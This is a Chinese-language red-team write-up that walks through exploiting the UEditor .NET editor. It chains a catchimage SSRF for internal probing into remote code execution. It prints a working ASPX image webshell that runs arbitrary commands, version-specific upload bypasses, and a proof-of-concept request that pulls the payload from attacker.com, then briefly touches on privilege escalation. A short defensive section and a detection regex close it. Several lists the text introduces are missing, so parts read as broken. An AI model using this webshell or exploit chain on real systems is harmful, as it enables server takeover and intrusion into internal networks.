当企业级富文本编辑器成为红队突破口时,Ueditor的.NET版本曾上演过一场精彩的漏洞交响曲。不同于单点漏洞的简单利用,真正的渗透艺术在于将多个中低危漏洞编织成完整的攻击链条。本文将还原一个典型的攻击场景:从SSRF内网探测到图片木马植入,最终实现服务器控制的完整过程。
任何有效的攻击都始于充分的信息收集。Ueditor的catchimage功能本意是让用户抓取网络图片到本地,但未对source[]参数做严格校验的特性,使其成为探测内网服务的绝佳通道。
通过构造不同的URL参数,可以根据返回状态判断目标是否存在:
http复制POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
source[]=http://192.168.1.1:8080/favicon.ico?.jpg
关键响应特征对照表:
| 响应状态 | 可能原因 |
|---|---|
"state":"SUCCESS" |
目标端口开放且返回有效图片 |
"state":"抓取远程图片失败" |
目标主机不可达 |
"state":"远程连接出错" |
端口开放但非HTTP服务 |
成熟的攻击者会结合以下方法提升探测效率:
实际测试中发现,1.4.3.3版本对域名有校验机制,而1.5.0版本可直接使用IP地址,这直接影响攻击路径的选择
当发现存在SSRF漏洞后,攻击者往往会尝试升级到RCE。Ueditor.NET版本的文件上传漏洞提供了完美跳板。
有效的ASPX图片马需要满足两个条件:
典型样本结构:
html复制GIF89a
<script runat="server" language="C#">
void Page_Load(object sender, EventArgs e){
System.IO.File.WriteAllText(
Server.MapPath("shell.aspx"),
"<%@ Page Language=\"C#\"%><%System.Diagnostics.Process.Start(Request[\"cmd\"]);%>"
);
}
</script>
不同版本需要调整攻击方式:
| 版本 | 关键差异 | 利用要点 |
|---|---|---|
| 1.3.6 | 存在%00截断漏洞 | 需在文件名后添加%00截断符 |
| 1.4.3.3 | 需要合法域名 | 在URL末尾追加?.aspx绕过检查 |
| 1.5.0 | 无域名限制 | 直接使用IP地址即可触发 |
实战中常用的上传POC:
http复制POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: vulnerable.site
Content-Type: application/x-www-form-urlencoded
source[]=http://attacker.com/logo.gif?.aspx
获取Webshell只是开始,专业红队会立即建立持久化通道。
通过执行cmd /c systeminfo收集以下关键信息:
在.NET环境中常见的提权方法包括:
曾遇到案例:通过Ueditor漏洞上传的Webshell,最终利用未打补丁的Print Spooler服务获取SYSTEM权限
理解攻击手法是为了更好地防御。针对Ueditor漏洞链,建议分层防护:
catchimage的source参数,限制内网地址python复制# 简易SSRF攻击检测脚本示例
def detect_ssrf(log_entry):
patterns = [
r'controller\.ashx\?action=catchimage',
r'source\[\]=http://(127|192|10|172)\.'
]
return any(re.search(p, log_entry) for p in patterns)
在一次金融行业渗透测试中,正是通过Ueditor的这个漏洞链,我们用时37分钟就从外网渗透到域控服务器。这提醒我们:看似次要的编辑器组件,也可能成为整个防御体系的突破口。